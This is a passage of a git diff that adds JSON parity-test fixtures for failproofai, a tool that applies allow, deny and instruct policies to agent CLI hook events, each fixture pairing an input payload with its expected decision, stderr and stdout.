"instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..16305cc8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dcbe56f7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2d777c45 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f221dd80 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1c3f7cbe --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4641824e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..86084483 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4f67dd4a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9636e459 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..56933faf --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..46d887f7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c98f3f7b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7c9b1864 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9f20be51 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4424bc1f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..fb0da049 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..490f89ff --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..cb2770f1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-present__one-policy.json 